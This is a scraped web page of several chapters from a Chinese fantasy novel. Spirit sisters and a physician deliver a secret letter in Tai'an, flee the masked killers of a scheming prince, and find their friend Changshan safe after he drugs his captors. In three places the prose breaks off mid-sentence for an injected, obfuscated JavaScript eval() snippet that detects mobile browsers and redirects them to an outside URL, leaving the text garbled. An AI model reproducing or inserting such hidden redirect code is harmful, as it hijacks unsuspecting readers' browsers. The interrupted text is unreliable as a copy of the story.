长山看着那信,没有接,道:“防人之心不可无,我确实想看,想知道他是否信守承诺、知恩图报。但我若看了,就是陷姑娘于不义。” 青崖将信件在他面前摇晃:“所以,你看不看?” 长山摇头叹气:“既然姑娘要遵守道义,那我也不看。” 青崖开怀一笑,因为脸色涂得黑黄,显得牙齿白得耀目。她把信收回怀中放好,打趣道:“那你担心哪件事更多?是你自己被揭发?还是我与姐姐隐居的山谷被暴露?” 长山脱口而出:“当然是担心姑娘你……” 红鸾突然睁开眼睛,冷冷看了他一眼,长山声音一顿,继续道:“……担心你们。因为你们是救命恩人,我本没有什么可回报,只能提醒你们多加小心……” 红鸾拂袖而起,“走吧,不要多话了,此去泰安城还远,得明日才到。” 青崖回到牛车上,拿出竹笛,吹起一支清耳悦心的曲调。 三人行车赶路,过得一晚,到达泰安城。 *** 泰安城分内城与外城。内城四周有高而厚的城墙围绕,入口有官兵看守,出入需要名牌路引。外城是一片开放区域,防守比内城松懈得多,分布有民居、街道、集市。 裴浩指定的送信地点正是外城集市。 一靠近泰安外城,青崖就从来来往往的行人中随便揪了个中年男子问:“请问集市在哪里?” 那长了两撇小胡子的中年男子打量青崖道:“你不是本地人?怎么连集市在哪都不知道?” 长山道:“我们是附近和县的人,今日第一次来泰安城。” 中年男子捋了一下他的胡子,颇为鄙夷地抬手指了个方向:“那边!” 人走后,青崖问:“城里人都这样拿鼻孔看人吗?” 长山道:“大城一般汇集了附近好几个县的物资,住在这里的人就算不是大富大贵的人家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那老翁五六十岁,身形和他卖的柴一样,干巴巴,硬邦邦,瘦骨嶙峋,他坐在一堆柴前,驼着背,口中叫着:“卖柴……卖柴呦……”连嗓音也是干巴巴的。 老迈虚弱的声音淹没在其他高昂的叫卖声中。有人到他面前,摸了摸他的柴,嫌弃地走开了。 青崖也走近去摸了摸他的柴,原来只是看起来干,实际是潮的。 “老人家,你这一捆柴多少钱?” 老翁颤颤巍巍举起七根手指比划:“十片银羽。”大约年纪太大,不辨数字。 一捆柴的市价是一两铢,老翁却开价十银,跟在青崖身后的红鸾与长山听到这样不合常理的昂贵价格,再看青崖很感兴趣想要购买的样子,都在后面扯青崖的衣服。 青崖不做理会,继续向老人道:“我没有银羽,只有金羽,给你十金可好?” 后面两人一愣,扯她衣服扯得更用力了。 老翁摆手:“不要金羽,只要银羽,十片银羽。” 红鸾与长山惊得忘了继续扯青崖衣服,一时不知是一捆柴十银羽离谱,还是老翁要十银不要十金更离谱。 青崖却双眼放光,语气激动道:“你这柴还没晒干,你有晒干的柴吗,你如果有晒干的柴,我就可以给你十片银羽。” 老翁道:“有,你跟我回家去,我家里有。” 老翁收拾干柴背到扁担上,往民居区域走去,青崖欢欣雀跃地跟随其后,红鸾与长山一左一右拉住她,拉得她走不动路。 红鸾道:“我们又不需要柴,你买柴做什么?” 长山也道:“青崖姑娘,你就算要行善,十片银羽买一捆柴也太多了……” “嘘!”青崖转头低声道:“暗号,都是暗号,裴浩告诉我的,他对上了!” “……” 27. 无毁我室5 买柴老翁带他们离开街市,走到民宅区,四周变得安静了许多,两边都是外表相似的宅院。老翁打开其中一个院子的门,带他们进屋,一关上门,老翁背也不驼了,手也不抖了,直起身子中气十足对屋里喊:“有客人来——” 屋里走出一个与本地商贩打扮类似的布衣男子,他身形高大,相貌与气质都与裴浩有几分相似,不过显得更为成熟稳重。 青崖道:“你就是裴涛吧?” 裴涛点头:“是。” 裴涛就是裴浩的哥哥,也是陵王的属下。 青崖拿出阿远写的信递给他,按照裴浩教她的话说:“这是贵人写给你的信。” 裴涛接过信匆匆拆开,他没有问青崖是什么人,也没有问青崖来自哪里,看完信后态度由一开始的警惕防备转为毕恭毕敬,唤老翁给青崖三人斟茶。 “稍等,我这就给贵人写一封回信。”他又看了一遍信,像自言自语一样沉重地道:“与陵王同来的亲随,现在竟然只剩我与裴浩了。”说完转去另一间内室,没过多久,拿着写好回信交给青崖。 整个交换信件的过程透露着一股默契的安静,红鸾与长山默默跟随,就连第一次做这种信使的青崖也按捺住好奇与兴奋,一个问题都没多问,一句话也没多说,拿到回信立即告辞。 回到外面,走过一条街,她突然嘶了一声,低声道:“疏忽了,原来送信这件事没这么好办,还有麻烦呢。” 长山不解地问:“不好办吗?不是已经送完了吗?” “告诉你们一件事,但你们不要回头,”三人并排而走,青崖用只有他们能听到的声音道:“自从换信出来后,就一直有人在跟踪我们。” 红鸾与长山听完就下意识想回头,幸好青崖提前有交代,他们才控制住自己,装作若无其事的样子继续往前走。 青崖小声道:“进屋之前我听到那老翁家邻居的屋里有点不寻常的动静,当时没有在意,以为那是正常的,后来咱们从屋里出来之后被跟踪,我才确定,那动静其实不太正常。” 红鸾问:“什么动静?” 青崖道:“屋子门窗紧闭,里面声音不大,隐隐约约的,听起来似乎是在那个很小的房间里藏了很多的人,在老翁家附近,有两家都是这种情况。” 长山道:“那种大小的房子里,一般只住一户人家,四五口人。” 青崖摇头:“绝对不止四五口人,怎么说也得有十人。” 红鸾问:“那现在跟踪我们的有几个人?” 青崖放慢脚步往前走了一段距离,又加快脚步往前走了一段距离,道:“周围行人太多了,我不能确定,但是起码四人以上。” “他们既然监视了那老翁家,城里其他地方一定也有他们的人,而且混在寻常百姓里难以区别,”红鸾谨慎道,“我们先不去请工匠了,直接出城到人少的地方,把他们甩掉。” 在人少的地方,他们如果还继续跟踪,就容易分辨了。此处人多眼杂,也不便使用术法贸然反击,泰安这种大地方,必定有朝廷委派的术士驻守,一用术法,若是把捉妖术士招来,那就更为麻烦。 几人装作什么都未察觉的样子,继续往泰安城外走去。 是什么人盯梢?青崖边走边琢磨。 裴涛是陵王的侍卫,当初为了帮裴浩把暗杀陵王的人引开而和裴浩走散。今日看他无恙,还以为他成功摆脱了追击陵王的杀手。没想到只是当时摆脱了,或者压根就没摆脱,总之,暗杀陵王的人现在找不到陵王,知道陵王如果活着,很可能会与裴涛取得联系,所以发现裴涛在泰安城,却没有打草惊蛇,而是安排暗哨监视,准备守株待兔。 平王勾结山匪杀害陵王,现在山匪被灭,陵王下落不明,平王恐怕早就成了热锅上的蚂蚁,生怕陵王从哪个角落里冒出来指证他谋杀亲弟。 皇子在此地失踪,肯定也有朝廷官兵在寻找。朝廷寻找皇子天经地义,不会偷偷摸摸监视皇子的侍卫,所以那些偷偷摸摸的人,只能是平王的人,而且不是正当官兵。裴浩宁可躲在一个老翁家,也不去向官府求援,那意味着,此地官员大概也被平王收买,不能指望他们保护陵王了。 青崖庆幸最近总是缠着红鸾打听皇家故事,跟裴浩和阿远也常常聊天,耳濡目染,竟然能靠自己想明白这些关系了。 但平王作为一个哥哥,为什么要对自己的弟弟下杀手,她还是不能理解。一起长大的兄弟姐妹,不应当是最亲近的人吗? 就算姐姐解释过是为立功夺位,她也不能理解。只能以不能理解的心态,记住这个事实。 她与姐姐、长山默不作声地走过街市,几乎就要走到尽头、路过一巷口时,迎面撞上从巷口突然拐弯冒出的一队巡逻官兵。 与官兵一起的还有之前给他们指路的那个长着两撇胡子的中年男子,见到他们,指着他们大呼:“对,就是这三个人!他们不知道是从哪里来的!形迹可疑!” 为首领队的官兵大喊:“你们!站住!” 路人纷纷侧目,他们三人只得停住。 也许是看他们老实听话,官兵们没有特别凶悍,慢吞吞踱步到他们面前,问:“你们从哪里来的,到泰安来做什么?” 长山上前一步,恭敬拱手道:“官爷,我们是从和县来的,下个月家中老人六十大寿,我们来给老人买点上好的布料做新衣裳。” 青崖与红鸾长期隐居,自知与城中人打交道不如长山熟练,就都没有开口,携手站在一边,让长山去应对。她们头戴花布巾,脸色暗淡,脸颊上还有斑点,装出低眉顺眼地模样站在长山身后,乍看与街上其他女子没有什么区别。 “哦——” 领头官兵显然只是应付差事一样,朝他们展开一幅画像:“有没有见到过这个人?” 那画像与之前玉皇山上的假官兵拿的画像一样,画的是一个俊秀少年郎,虽有几分走样,不过毫无疑问就是阿远。 三人齐齐摇头:“没有。” 官兵把阿远画像卷起,展开另一张画像:“那这个人呢?” 看到第二张画像,青崖不由得握紧了姐姐的手。 那画像画工粗糙,只能看出画像上的人眉眼端正,是一个儒雅的青年书生,画像边的文字写着:姓名慕长山,年龄二十,本地人士,身高八尺等信息,除了外貌特征,末尾还有“擅长医术、浑身药气”八个大字。 长山镇静地再次摇头,表示没见过。 幸好他提前乔装打扮,脸色涂得蜡黄,眉毛染得灰白,还贴着假胡须,与画像上的青年书生模样相差甚远。 官兵比照了一下,也觉不像,为了“浑身药气”四个字,还凑近到长山身上闻了一闻。 在平时,长山身上确实满是药气,但他们这次在外面赶路一天一夜,药的味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13368457|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道早被吹淡,青崖这样嗅觉敏锐的还能闻得到一点,别人就很难闻到了。 倘若官兵搜身,就会发现他们身上有不少可疑物品,比如长山随身携带的银针药包、青崖身上的信件金羽,好在官兵不算强横,并未搜身。 领头那人收起画像,问旁边的兵:“和县来的小马是不是今日当值?把他叫来让他问问。” “是。”一个小兵奉命离去。 领头官兵道:“最近山匪猖狂,上面有令,外来人员一律严加盘查。你们三个先跟我们回去,等和县的小马来问完话,确认你们是和县的人,就放了你们。” 他一挥手,十几个官兵分散左右把三人包围起来。 青崖心中暗呼糟糕,无论小马还是小牛,随便一问便会暴露他们不是和县人。 “跟我们走。”领头官兵转身带路,对那个举报他们的中年男子道:“你也跟我回去,登记完有赏钱。如果再发现可疑的人,及时告知于我。我跟你说,画像上那个叫慕长山的,就是山匪余孽,穷凶恶极、杀人无数,京城来的陵王下落不明,就是被他给劫走了,你要是能抓到他,那赏钱才叫多……” 领头官兵一边杜撰着长山的罪行,一边带他们走到了一个十字路口。路口中央有一根竖立的长杆,杆子上赫然吊着一具少年尸体。根据尸体的样子与还没消散完的煞气可以判断出,那人死去不超过一天。 青崖仰头看了一眼,惊讶地发现那个死者五官居然与阿远有些神似。她想问这是怎么回事,却不敢开口。 带头官兵在吊着尸体的杆子下面停下,“善解人意”地道:“看见没有?这就是犯罪作乱的下场。这个小孩仗着自己与陵王有几分相像,居然敢冒充陵王殿下,我们大人好吃好喝地伺候了他好几日,后来陵王的哥哥平王来辨认,这小子怕事情败露,服毒自尽,我们才知道这小子是假冒的!大人与平王殿下怒火滔天,特意将他吊在这里示众。你们几个,最好别让我查出来撒谎,否则也是一样的下场!” 一番震慑后,带着他们继续往官署走去找和县的小马。 光天化日之下,在闹市见到与阿远长相类似的少年尸体,青崖进一步感受到了当前事态的严重性。 因为已经听说过甚至见识过平王的种种恶行,比如给阿远下忘忧散之毒、为抢功夺位暗杀阿远、设计长山舅舅杀皇子顶罪、害死所有陵王亲随等,青崖深深认识到平王的奸邪狡诈,所有与他有关的事,都会以其歹毒手段揣测一番。 她不太相信一个少年会有勇气自己去冒充皇子,再在事情败露后服毒自尽。以平王的狡诈,这倒是像他诱骗别人去冒充,然后设计将其毒死的。 阿远被山匪劫走时,身上所有能证明自己身份的信物都被搜刮走了,他的亲随除了裴浩与裴涛,其他都已变成平王刀下的亡魂。这里地处偏远,就是泰安城里的郡守太尉等官员,大约也都没有真正见过陵王的。有了这个冒充陵王的先例,若再有人冒出来说自己是陵王,都得先让平王认一认,究竟是不是陵王,只凭他一个人的一句话就可以下定论。 这种情况下,阿远除非能直接回到京城,或者至少是回到有其他官员、大人物认得他的地方去,否则一露面就有危险。 如果这个推测是对的,那少年死者就又是一个像长山舅舅那伙人一样上了平王的贼船半路却被踢下船的受害者。 真是好歹毒的平王。 28. 无毁我室6 青崖震惊于平王的鬼蜮计俩,也震惊于阿远竟然有这样的亲哥哥,可眼下没有时间再腹诽平王,得先与姐姐、长山从官兵手里脱身才行。 他们已走到街市末端,青崖正想找机会问问姐姐是在这里设法脱身,还是等到了官署见到“小马”再随机应变,突然,咻的一声,有什么尖锐之物从后方破空而来,她下意识按着姐姐与长山蹲下,抬手一抓,抓到了一根从后方射来的利箭,箭上有一股刺鼻的味道。 长山见箭头上闪着青光,急忙提醒:“小心!是毒箭!” 话音未落,同时又有几根利箭咻咻飞来射向他们,两名官兵当即中箭,惨叫着委顿在地,官兵大呼:“有歹徒!”路人尖叫声四起,青崖拉着红鸾和长山躲进旁边一家粮铺,官兵也跟着他们躲了进去。 行人反应过来有人袭击官兵,大呼小叫地奔走躲避、传递消息:“杀人啦!”“山匪吗?!”“快跑呀!”“哇——妈——呀——” 刹那间,原本井然有序的街道变得乱哄哄,大人惊叫,小孩哭泣,官兵吆喝,货物被撞翻在地,所有人都漫无方向地奔走躲避。 看似都是普通百姓的人群里,陡然多出几个手持长刀的蒙面人,逆着人群向他们藏身的粮铺里冲来,有不明状况的人挡了蒙面人的道,蒙面人不由分说举刀就砍,不分官兵还是平民,一路砍杀数人,顿时鲜血飞溅,痛呼之声此起彼伏。 蒙面人训练有素,从四面八方无人注意的角落悄然出现,由一开始的零星几人增至二十多人,个个武艺高强下手狠辣,隐隐编织成一张网,官兵们根本无法抵挡。他们冲入店铺时分工明确,一拨对付官兵,一拨却对拉着姐姐与长山躲入店铺最里面的青崖喊道:“不想被官兵抓住就跟我们走!” 青崖、红鸾、长山急于脱身,跟着这些蒙面人离开店铺来到街上,过路行人除了死伤不能动弹的,其他均已逃走,街道两端各有一队官兵闻声赶来,蒙面人也陆陆续续从街边小巷里窜出,双方各有几十,数量几乎对等。 青崖问那招呼她跟他们走的蒙面人:“你们是谁?来救我们的吗?” 蒙面人道:“对!来救你们的!跟我们走!” 是谎话。 其实不用辨言天赋试探也能猜到,这些蒙面人穷凶恶极滥杀无辜绝非善类,想必就是她与裴涛交换信件后,偷偷摸摸跟踪她们的人,不想让她们落入官兵之手才发起袭击。 青崖猛然刹住脚步。 既然不是来救人的,自然不能跟他们走,她调转方向,拉着姐姐与长山朝一人少的巷口狂奔,她本身步速远超常人,多拉两个人也比旁人更快。 蒙面人发现没法骗她跟他们走,打算采取强硬手段。一个反应迅速的,立即伸手去捉红鸾,红鸾不如青崖那般反应敏捷,无法躲开,被抓住手腕却也丝毫不慌,甚至没有甩手,只用眼神肃杀地横扫过去,抓她的人手在她腕上还没握紧,就啊地惨叫一声,松开了手。 “妈的邪门!” 那人看了一下自己被灼伤的手,难以置信地瞪视红鸾,以为红鸾身上藏着什么厉害机关,再次伸手换了个地方去抓。青崖发现姐姐这边的危机,猛拉姐姐,没让那人得逞,奈何蒙面人实在太多,躲过这个,又有另一个从不同方向冒出,但凡抓到红鸾的,毫无例外都嚎叫着被迫松手。 他们的手都被烫得冒烟,有的甚至表面皮肤变得焦黑,仿佛方才抓到的不是女子手腕,而是烧红的铁棍。 也有人去抓长山,长山发挥其秘技,手中洒出迷药,当下即有三人吸入药粉,躺倒在地。 官兵看出蒙面人是来抢人的,也不肯轻易妥协,一条街上两队人马互相格斗,兵刃交击的乒乓声不绝于耳,奈何蒙面人杀伐手法更胜一筹,官兵很快力不可支,死的死伤的伤,横七竖八躺倒在地,无法再对蒙面人造成阻碍。 蒙面人分出更多力量来对付青崖三人,熟料碰到红鸾的统统被烫伤,闻到长山迷药的纷纷被药倒,青崖更是像泥鳅一样难以捉住。 损失了七八个人后,蒙面人中有人下令:“抓不住就杀了!” 蒙面人听到命令,举刀齐喝,专注围攻他们,手段霎时狠厉起来,刀刀直取要害。长山撒出十几次迷药,药材耗尽,蒙面人还有一大半。青崖同时要护住姐姐与长山,还要注意不能伤人性命,城中道路也不熟悉,往街头巷尾没头没脑乱冲一气,总是被蒙面人堵住去路,一时左支右拙。 打斗间,左手忽然一空,是长山挣脱了她的手,道:“别管我了,你们快走!” “不行!”青崖伸手想重新拉住他,一蒙面人见缝插针地从侧面劈来一刀,她只得缩手避免手被砍断,只这么一下,就有人抓住长山,同时有更多蒙面人故意拦堵在他们之间,让他们再难靠近彼此。 长山落单,被两个蒙面人一左一右抓住,拖得越来越远,一直拖入一条小巷,青崖从蒙面人手里夺过一把长刀,拉着红鸾且战且逃,双方方向相反,长山的身影和声音很快消失不见。 因没有人敢再抓红鸾,又无法近青崖的身,她们两个一直没被冲散。青崖终于拉着姐姐拐进一条无人小巷,趁甩开众人视线的瞬间,红鸾摇身一变化作红鸟,飞到上空俯瞰街道给青崖带路。 青崖独自一人,又有半空中姐姐指示方向,登时如鱼得水,在街头巷尾东游西窜,迎面遇见蒙面人拦截也不恋战,奇快无比地从蒙面人身边溜过,顺便还能卸了对方的武器丢在房顶,像一道游魂一样,没人拦得住她。 顺利甩掉蒙面人出城,到达城郊无人处,红鸾重新现身,指着北方道:“蒙面人抓着长山也往城外去了。” 她们顺着北方追出四五里地,果然在偏僻野路上发现新踩出的马蹄脚印,再往前走,野路消失不见,马蹄脚印也分为两路,一路偏东北,一路偏西北,没多远就在杂草中各自消失,难以辨认。 “这可怎么办?往哪边追?”青崖急得左右徘徊,突然嗅到一缕熟悉的味道,站在偏西北方向马蹄消失的地方,叫道:“这边有药的味道!” 顺着药味追踪大约三里,药的味道越来越浓,连红鸾也能闻见。在一土坡旁的地上果然发现有一堆杂乱脚印、染血布条,布条上沾有长山总是随身携带的外伤药膏。 青崖道:“对了,那群蒙面人里有受伤的人,长山若提出给他们看伤,他们定不会拒绝。但除此之外还有一样东西,”她看向红鸾,“姐姐,你感觉到了吗?” 红鸾面色严肃地点头:“没错,感觉到了,有一股微弱灵流。” 在附近既无灵物也无聚灵宝地,这样一股单独存在的微弱灵流,不像自然形成,更像术法痕迹。且灵流从马蹄印记一分为二开始出现,一直连绵不断,恰好和长山留下的药物味道交织在一起,路线重合。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13382508|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“这是……有人给我们指路吗?”青崖自然而然联想起前不久的经历,“当初我也是跟着一道灵流才发现阿远和裴浩的。那次灵流指路的和这次指路的会是同一个灵吗?” 自从得知灵岛上的同族都自称为“灵”,她也自觉改口,抛弃了“妖”这个名称。 红鸾道:“难说。咱们的同族本就不多,十几年来也只遇到过那么屈指可数的几个,最近收留陵王后才这么频繁地遇到,如果是同一个,或者是同一伙,那极有可能就是和洲禾提到过的“特殊计划”有关,而那个“特殊计划”离不开陵王。 青崖担忧道:“也不知阿远和裴浩单独在谷里安全不安全。” “已经让他们在隐蔽处藏起来了,再不安全,我们也没法子。暗中潜伏的人既然能引你去救他们,那就是要保他们而不是害他们。” “那还不是点火烧了我的房子。”青崖怨念道。 房屋被烧毁时,红鸾发现火中有术法痕迹,她们曾讨论猜测过纵火的灵到底有什么目的,是不是那个打伤她的神秘男子,是不是也是“特殊计划”的一部分,然而一切都是猜测,唯一确定的是那人点火的目的就是烧房子而不是烧死人。 一是因为以灵力控制的火若烧死人,那么纵火的灵会遭反噬;二是因为灵力控制的火若真想烧死人,几乎不可能失手只烧毁房屋。 “到底是谁一直观察我们?”青崖伸手感受悬浮在空气中的那丝灵流。 这种被人暗中监视的滋味一点也不好受,尤其在那人打伤自己、烧毁自己的房子之后。 红鸾若无其事地问:“还去救长山吗?” “啊?当然要救!”青崖斩钉截铁道,“他刚才是为了让我们方便脱身才挣脱开然后被蒙面人带走的。”她看向灵流指向的方向,声音低落下去:“跟着这道灵流,会有危险吗?” “总算你有点进步,不会把什么人都往好处想了,”红鸾道,“走吧,有我在就保你没有危险。” 她们沿着既定方向又追踪半日,到达一个荒凉山坳。 青崖不停猜测蒙面人会把长山怎样,心里七上八下,恨不能以最快速度前进,可灵流和气味都非可见之物,需要时不时停下仔细分辨一番才能确认方向,有时还会走偏,不得不返回一段路重新辨别。 在又一次走错路,青崖急得跺脚时,红鸾劝道:“放心吧,他们既然是把人带走,而不是直接杀了,那带到目的地之前,长山是安全的。平王监视裴涛,无非是想知道陵王到底死没死,如果没死,现在藏身在何处。长山如果聪明,就会利用这一点,让他们暂时保全他的性命。” 青崖略感宽慰,“长山聪明,肯定能想到利用这点保全自己。” 红鸾见她如此担心一个外来男子,不悦道:“是啊,为了保全自己,他还可能把咱们也供出去。” “不可能,长山不是那样的人。” “蒙面人大概是平王养的暗卫杀手之流,他们那种人,等到了地方开始问话,问话的方式可不仅仅只是口头问话。” 青崖的心揪了起来,“你是说,他们为了逼问,可能会对长山用刑?” “对,”红鸾凉飕飕道,“比如浸水、鞭打、棍击、夹手指、灌铅、断指、剥皮……让人活着但是活得生不如死的拷问方式多得是。” 青崖:“……你不是劝我放心的吗???” 29. 无毁我室7 “嗯,放心他暂时还能活着。但不要太放心,他可能为了活着而出卖陵王和咱们。” “……” 青崖相信长山绝对不会出卖阿远,更不会出卖自己,那么长山势必要遭受那些残忍的逼供手段了。 她不再与姐姐争辩,长山是怎样的人,等再见到自会明了,她闷头加快脚步,红鸾化作红鸟才勉强跟得上她。 进一步深入山坳,发现了隐约可见的山路,顺着弯弯曲曲的山路进去,只见山坡上有十几间破旧茅草屋,大多残破不全,一看就是被人蓄意毁坏过。 “那边。”青崖抬手指向一间还算完好的茅草屋,那座茅草屋周围有半人多高的土院墙,院墙里面飘出袅袅青烟,暮色将至,只有那间茅草屋院子里透出一点摇曳的火光。 这火光却让青崖心中一寒,想起一种用烙铁烫在人身上的酷刑,还有一种直接把人烧死的火刑。 她与姐姐是上午逃出泰安城的,因为辨路困难,走得天都要黑了,才找到这个山坳。长山落入那伙人手里这么久,现在还好吗? 灵流到此为止,先前柔和的药味被一股复杂难闻的刺鼻味道代替。越是靠近那唯一有火光的地方,刺鼻味道就越浓,青崖与姐姐忍不住都屏住了呼吸。灵的憋气时长是人的数倍,她们来到土墙外围犹在保持屏息。 青崖猫着腰躲在土墙后面,红鸟飞到上空查看院中情况,看了一眼旋即落回土墙后恢复人形。 “怎样?长山在里面吗?”青崖憋着气不发声地用口型问。 红鸾道:“你自己看吧。” 青崖有点不敢看。 土墙另一边静悄悄,只有篝火燃烧的噼啪声和十几个人睡觉的绵长呼吸声。 难道是人都休息了?这些人急于知道陵王的消息,怎么可能先休息?除非是已经拷问过一轮,长山受刑支持不住昏倒过去,没法继续拷问,他们才会暂时先休息。 又或者长山已然遇害。 这样的猜测让她心头发酸,她忍着泪意,慢慢从土墙边沿探出头去。 十几个强壮武人横七竖八躺倒在院子里,果然睡得正香。满院只有一个人是清醒的,他坐在院子中间的篝火前,伸着手烤火取暖,篝火上还架着一口大锅,锅里的汤汁冒出热腾腾白雾。 “长山?”青崖难以置信地低呼了一声,没敢大喊,生怕将那些睡着的人吵醒。 长山见到她与红鸾,脸上的愁容消散,如同四周没有旁人一样,愉悦地站起身向她们招手,“你们来得正好,羊肉汤就要煮好了,一起喝点汤取暖吧。” 他声音清朗,十几个武人仍旧死气沉沉,毫无反应。 青崖不禁乍舌。 长山抹去了脸上遮掩真容的粉饰与胡须,又恢复了青年书生的俊雅模样,神情有些焦急,但可以确定,没有受刑。 *** 原来,此处就是长山之前所在的山寨,剿匪官兵离去后,平王特意留下一支暗卫驻守此处,为的就是守株待兔,若是山匪中有人回来,可及时灭口。 长山对泰安城的蒙面人承认他是山匪中的一个,还说陵王没死,就在同伴手里,藏身的地方只有他知道。他说他只想赚一笔钱,只要给他足够的钱,他就交出陵王,反之,若是强行逼问,他就一字不说,让他们永远无法知道陵王在哪里。 平王的人亲眼看到他和两个女子一起去找过陵王的侍卫裴涛,自然相信他确实知道陵王下落,离开泰安后,途中兵分两路,一队人把他带到这里,另一队人前去请示正负责监军的平王。 长山携带的药物不止一种,之前用完的是让人吸入就会昏倒的粉状迷药,在那些人生火做饭时,他借口帮他们看火,悄悄在火中投入了几种一起燃烧会产生毒烟的药,他自己提前服了解药,屏着呼吸添柴烧火,十几个暗卫毫不设防地被毒气熏倒。 他知道青崖嗅觉敏锐,若是安然无恙,发现他故意沿途留下的药味,定会追踪至此,就在原地等待,顺便煮了一锅羊肉汤。 青崖到时,他已等了有小半个时辰。 “精彩。”青崖喝着汤赞叹。 长山怕她与红鸾吸入毒烟,在汤中也加入了配好的毒烟解药,毒烟已完全消散,不过被熏倒的暗卫一时片刻还醒不了。 青崖道:“你那迷药可否给我也配点?我看很有妙用。”灵族不能杀人,若是有不伤人的迷药,以后遇险脱身就方便多啦。 长山却一点也不自豪,甚至面露愧色,没有应声。 青崖问:“怎么了?” “父母教我医术,是盼我治病救人,可我却拿医术害人,”长山语气沉重道,“自从上次用迷药把那个差点把我推下悬崖的农夫药倒后,我又想出好几种配方,除了迷药,还有剧毒令人致死的毒药,我一边想制作毒药,一边又觉得……这样有辱先人。” 青崖安慰道:“你如果不能自保,出了什么意外,一身医术随你一起葬送,难道那就是你父母先人乐于看到的吗?” 长山郁郁到:“那……应当不是。” “对呀,所以嘛,“青崖拍了一下他的肩膀,“用毒自保和行医救人没什么矛盾,你不必心里有负担。再说,你只是把他们毒晕,又不是毒死。” 长山抬眼望向她:“如果我把他们毒死了呢?” 青崖喝汤的动作一滞,环顾院中横倒的暗卫们。 医毒本一家,一个医术高超的人,真用起毒来,一定也是一把好手。 一个看病救人的长山,和一个不费吹灰之力就杀死十几个人的长山,给人印象确实会大不相同。 那真验证了姐姐常常警告她的那句话:想害人的人,未必需要武力过人,也未必需要灵力过人。 “想想就可怕,是吗?”长山替她回答道。 “呃……嗯。” 长山自嘲地笑了一下,默然转向篝火,喝了一口汤,道:“汤里没毒,放心喝吧,如果你还愿意信我。” 青崖为表示信任,连忙喝了一大口汤。但自己敢于相信长山,是因为天生能够辨谎,知道长山说的是实话。倘若没有辨谎天赋,这汤她是万万不敢喝了。 那一刻,她忽然有点明白京城里的皇帝为什么要对天下宣称妖会吃人,并大张旗鼓捉妖——除了因为有妖丹可让人长生不老的谣言外,还因为妖有普通人没有的异能,厉害的可以呼风唤雨,引发地动山摇,这样强大的异族能力,如何不让当权者忌惮? 匹夫无罪,怀璧其罪。大约就是这个道理。 青崖端着汤碗,为这前所未有的感悟,怔怔出神了片刻。 回过神来的时候,看到长山与姐姐的脸色都有一些凝重,为了缓和气氛,她问长山:“你找到你要找的东西了吗?” 长山和她们一起出来,本就是为了到他舅舅原来的山寨取些旧物,没想到泰安一场风波,兜兜转转自然而然让他回到了这个地方 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长山一本一本往外拿,那里面大部分都是医书药书,还有几本关于求仙问道、丹药炼制的,青崖在那堆求仙问道的书里随意翻捡着,赫然发现一本《天书》。 打开《天书》铁锈色的封面,第一页上面就写着:妖非父母所生,非自然之物。食人精血,残暴不仁。剖其心而食之,可得长生。 青崖捏着书页的手抖了一下,一股冰冷寒意从指尖蔓延至全身,她压抑着生气、害怕、失望等种种翻涌上心头的情绪,问:“你也研读这种书吗?” 长山一直埋头翻看他的医书,有几本不知该不该留,抬头一瞥,这才瞧见青崖指的是那本《天书》。 “研读过,”他语气平淡道,“父母去世后,我除了研究医术,也研究关于求仙炼丹的方法。我父母死于《禁药令》,而《禁药令》的推行是因为皇帝相信那些仙草灵药可以炼成长生不老药。有段时间,我总想着,如果有可能,无论用什么办法,我一定要先于所有人研制出长生不老药,等我研制出来的时候,一定就有能力为父母报仇雪恨了。所以,是,这本《天书》我曾仔细研读过。” “那你相信这上面的内容吗?”青崖表面不动声色,心里其实已经乱作一团。 长山为什么要收藏这种书! 虽然《天书》存在多年,任何人阅读收藏都很正常。可这段时日相处下来,她不知不觉已把长山当作了朋友,所以当看到他的藏书里有这本指导杀妖的书,她突然情绪难以自制,想发脾气,想摔东西,想把这本书给撕了! “你别想把这脏东西带到槐谷去。”她气呼呼地想。 长山一伸手,没能把她手里的《天书》抽走,抬起头看着她道:“先把这本书给我。” 青崖有气不能说,咬着牙松开了手。 长山将《天书》放回到那堆求仙问道的书里,指着那堆书道:“这一堆是我要烧掉的书。” 说着,他果然把那些书尽数投入火堆里。 霎时,火焰跳跃,青崖不由得睁大了眼睛,心头的寒意与怒气烟消云散,取而代之的是一阵开心与激动,甚至想像平时扑姐姐一样扑到长山身上,与他拥抱一下。她被这个涌起的冲动吓了一跳,连忙转头看向红鸾让自己冷静。 她知道,姐姐貌似只是看着篝火,其实也在注意着她与长山的一举一动。 30. 东风飘兮神灵雨1 长山收拾好东西后,几人连夜离开山寨,辗转到另外一个县城去找建房工匠。 这次,三人都不再进城,只在城外要道守着,用一片银羽请了一个本就要进城的人帮他们寻找建房工匠。 红鸾交代那人:“要找一个会盖木屋、经验丰富、能离家做工两月左右的匠人。” 毕竟酬劳丰厚,那人进城不到一个时辰就帮他们物色好了人选。返回槐谷时,牛车上多了一个老工匠和盖房所需的各种铁器木器。 青崖负责把工匠和长山带回谷中,红鸾则赶着牛车回到藏车的地方,那里有一堆堆干草垛,平时牛车就隐藏在其中一个草垛里。 